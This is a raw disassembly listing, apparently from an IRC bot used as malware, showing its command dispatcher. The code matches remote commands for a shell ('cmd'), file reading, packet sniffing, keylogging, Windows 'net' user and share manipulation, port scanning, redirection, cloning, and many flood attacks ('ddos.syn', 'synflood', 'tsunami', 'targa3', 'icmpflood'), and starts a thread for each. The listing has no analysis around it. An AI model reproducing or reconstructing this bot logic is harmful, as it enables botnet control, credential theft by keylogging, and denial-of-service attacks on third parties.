		push	offset aCmd	; "cmd"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E46
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E46
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DC1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DC1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C57
		push	edi
		push	offset aOn	; "on"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C1F
		push	20h
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jle	short loc_405B4D
		push	offset dword_42D8A0
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_405B4D:				; CODE XREF: sub_401AA1+40A0j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405B8F
		mov	esi, offset aSniff ; "#sniff#"
		push	offset byte_4404C4
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405B8F
		mov	esi, [ebp+var_88]


loc_405B8F:				; CODE XREF: sub_401AA1+40D0j
					; sub_401AA1+40E6j
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D870
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	20h
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset sub_412DBF
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_405C12
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D834
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_405C0A:				; CODE XREF: sub_401AA1+4177j
		push	32h
		call	dword_428080	; Sleep


loc_405C12:				; CODE XREF: sub_401AA1+4156j
		cmp	[ebp+var_ECC], ebx
		jz	short loc_405C0A
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_405C1F:				; CODE XREF: sub_401AA1+4090j
		push	edi
		push	offset aOff	; "off"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406DEB
		push	ebx
		push	20h
		call	sub_40B449
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C4D
		push	eax
		push	offset dword_42D7F8
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_405C4D:				; CODE XREF: sub_401AA1+419Fj
		push	offset dword_42D7CC
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_405C57:				; CODE XREF: sub_401AA1+407Bj
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DA3
		push	edi
		push	offset aOn	; "on"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D6B
		push	21h
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jle	short loc_405C99
		push	offset unk_42D7A4
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_405C99:				; CODE XREF: sub_401AA1+41ECj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405CDB
		mov	esi, offset aSniff ; "#sniff#"
		push	offset byte_4404C4
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CDB
		mov	esi, [ebp+var_88]


loc_405CDB:				; CODE XREF: sub_401AA1+421Cj
					; sub_401AA1+4232j
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D77C
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	21h
		push	eax
		call	sub_40B254
		add	esp, 20h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_413444
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_405D5E
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D740
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_405D56:				; CODE XREF: sub_401AA1+42C3j
		push	32h
		call	dword_428080	; Sleep


loc_405D5E:				; CODE XREF: sub_401AA1+42A2j
		cmp	[ebp+var_E38], ebx
		jz	short loc_405D56
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_405D6B:				; CODE XREF: sub_401AA1+41DCj
		push	edi
		push	offset aOff	; "off"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406DEB
		push	ebx
		push	21h
		call	sub_40B449
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405D99
		push	eax
		push	offset unk_42D708
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_405D99:				; CODE XREF: sub_401AA1+42EBj
		push	offset unk_42D6E0
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_405DA3:				; CODE XREF: sub_401AA1+41C7j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405E76
		push	edi
		push	offset aOn	; "on"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E3E
		push	2
		call	sub_40B496
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jle	short loc_405DE7
		push	offset dword_42D698
		jmp	loc_406DE3
; ---------------------------------------------------------------------------


loc_405DE7:				; CODE XREF: sub_401AA1+433Aj
		push	offset unk_42D650
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	2
		push	eax
		call	sub_40B254
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410EAC
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_44125C[esi], eax
		jnz	loc_406DEB
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D600
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_405E3E:				; CODE XREF: sub_401AA1+4328j
		push	edi
		push	offset aOff	; "off"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406DEB
		push	ebx
		push	2
		call	sub_40B449
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E6C
		push	eax
		push	offset unk_42D5B0
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_405E6C:				; CODE XREF: sub_401AA1+43BEj
		push	offset unk_42D570
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_405E76:				; CODE XREF: sub_401AA1+4313j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C56
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C56
		push	[ebp+arg_8]
		push	offset aKeystop	; "keystop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C2D
		push	[ebp+arg_8]
		push	offset aKstop	; "kstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C2D
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40617C
		cmp	dword_4CE3D4, ebx
		jz	short loc_405F03
		cmp	dword_4CE3FC, ebx
		jz	short loc_405F03
		push	offset unk_42D510
		jmp	loc_406169
; ---------------------------------------------------------------------------


loc_405F03:				; CODE XREF: sub_401AA1+444Ej
					; sub_401AA1+4456j
		cmp	[ebp+var_C], ebx
		jz	loc_406BC3
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F2B
		push	eax
		push	[ebp+var_C]
		call	sub_41BF70
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F2B:				; CODE XREF: sub_401AA1+447Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F97
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F65
		push	[ebp+arg_0]
		push	3


loc_405F46:				; CODE XREF: sub_401AA1+450Cj
					; sub_401AA1+4524j ...
		call	sub_418D56
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_405F65:				; CODE XREF: sub_401AA1+449Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418FFD
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_405F8D
		push	offset unk_42D4E4
		jmp	loc_40616F
; ---------------------------------------------------------------------------


loc_405F8D:				; CODE XREF: sub_401AA1+44E0j
		push	offset unk_42D4C4
		jmp	loc_40616F
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401AA1+4499j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FAF
		push	[ebp+arg_0]
		push	4
		jmp	short loc_405F46
; ---------------------------------------------------------------------------


loc_405FAF:				; CODE XREF: sub_401AA1+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FCA
		push	[ebp+arg_0]
		push	5
		jmp	loc_405F46
; ---------------------------------------------------------------------------


loc_405FCA:				; CODE XREF: sub_401AA1+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FE5
		push	[ebp+arg_0]
		push	6
		jmp	loc_405F46
; ---------------------------------------------------------------------------


loc_405FE5:				; CODE XREF: sub_401AA1+4538j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406000
		push	[ebp+arg_0]
		push	1
		jmp	loc_405F46
; ---------------------------------------------------------------------------


loc_406000:				; CODE XREF: sub_401AA1+4553j
		push	edi
		push	offset aShare	; "share"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406083
		cmp	[ebp+arg_18], ebx
		jz	short loc_406050
		cmp	[ebp+var_8FC], bl
		jz	short loc_406026
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406031
; ---------------------------------------------------------------------------


loc_406026:				; CODE XREF: sub_401AA1+457Bj
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406031:				; CODE XREF: sub_401AA1+4583j
		call	sub_41913D
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		add	esp, 18h
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_406050:				; CODE XREF: sub_401AA1+4573j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419332
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_406079
		push	offset unk_42D47C
		jmp	loc_40616F
; ---------------------------------------------------------------------------


loc_406079:				; CODE XREF: sub_401AA1+45CCj
		push	offset unk_42D45C
		jmp	loc_40616F
; ---------------------------------------------------------------------------


loc_406083:				; CODE XREF: sub_401AA1+456Ej
		push	edi
		push	offset aUser	; "user"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406119
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060EC
		push	[ebp+var_4]
		cmp	[ebp+var_8FC], bl
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060B9
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060CD
; ---------------------------------------------------------------------------


loc_4060B9:				; CODE XREF: sub_401AA1+4610j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_4060C9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060CD
; ---------------------------------------------------------------------------


loc_4060C9:				; CODE XREF: sub_401AA1+4621j
		push	ebx
		push	eax
		push	2


loc_4060CD:				; CODE XREF: sub_401AA1+4616j
					; sub_401AA1+4626j
		call	sub_419453
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		add	esp, 24h
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_4060EC:				; CODE XREF: sub_401AA1+45FCj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419967
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_406112
		push	offset unk_42D43C
		jmp	short loc_40616F
; ---------------------------------------------------------------------------


loc_406112:				; CODE XREF: sub_401AA1+4668j
		push	offset unk_42D41C
		jmp	short loc_40616F
; ---------------------------------------------------------------------------


loc_406119:				; CODE XREF: sub_401AA1+45F1j
		push	edi
		push	offset aSend	; "send"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406164
		cmp	[ebp+arg_18], ebx
		jz	short loc_40615D
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419C11
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401AA1+468Cj
		push	offset unk_42D3F0
		jmp	short loc_406169
; ---------------------------------------------------------------------------


loc_406164:				; CODE XREF: sub_401AA1+4687j
		push	offset unk_42D3D4


loc_406169:				; CODE XREF: sub_401AA1+2E23j
					; sub_401AA1+445Dj ...
		lea	eax, [ebp+var_2C0]


loc_40616F:				; CODE XREF: sub_401AA1+44E7j
					; sub_401AA1+44F1j ...
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	loc_406BC3
; ---------------------------------------------------------------------------


loc_40617C:				; CODE XREF: sub_401AA1+4442j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4F
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4F


loc_4061AA:				; CODE XREF: sub_401AA1+3C77j
					; sub_401AA1+3CADj ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B32
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B32
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AF3
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AF3
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9D
		push	[ebp+arg_8]
		push	offset dword_42DB4C
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A2F
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A2F
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C9
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C9
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40898D
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40898D
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408922
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408922
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088A0
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088A0
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408832
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408832
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40880C
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40880C
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087AC
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087AC
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086B4
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086B4
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E3
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E3
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408514
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408514
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408479
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408479
		push	[ebp+arg_8]
		push	offset aStyle	; "style"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082FF
		push	[ebp+arg_8]
		push	offset aUpd4t3z	; "upd4t3z"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082FF
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408266
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408266
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40815A
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40815A
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408106
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408106
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40800C
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40800C
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F25
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F25
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E14
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E14
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E14
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066BC
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B254
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset sub_415478
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4066AF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D254
		jmp	loc_403DDD
; ---------------------------------------------------------------------------


loc_4066A7:				; CODE XREF: sub_401AA1+4C14j
		push	32h
		call	dword_428080	; Sleep


loc_4066AF:				; CODE XREF: sub_401AA1+4BF3j
		cmp	[ebp+var_3074],	ebx
		jz	short loc_4066A7
		jmp	loc_403DEC
; ---------------------------------------------------------------------------


loc_4066BC:				; CODE XREF: sub_401AA1+4B49j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D2D
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D2D
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067E8
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BC60
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset dword_42D20C
		push	eax
		mov	[ebp+var_36AC],	esi
		call	sub_41BEF6
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	10h
		push	eax
		call	sub_40B254
		add	esp, 0Ch
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset sub_4143F3
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4067DB
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D1D0
		jmp	loc_407EF2
; ---------------------------------------------------------------------------


loc_4067D3:				; CODE XREF: sub_401AA1+4D40j
		push	32h
		call	dword_428080	; Sleep


loc_4067DB:				; CODE XREF: sub_401AA1+4D1Fj
		cmp	[ebp+var_349C],	ebx
		jz	short loc_4067D3
		jmp	loc_407F01
; ---------------------------------------------------------------------------


loc_4067E8:				; CODE XREF: sub_401AA1+4C5Aj
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C46
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C46
		push	[ebp+arg_8]
		push	offset aDdrs	; "ddrs"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B0C
		push	[ebp+arg_8]
		push	offset aG3t	; "g3t"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B0C
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A13
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A13
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40792C
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40792C
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407857
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407857
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407745
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407745
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
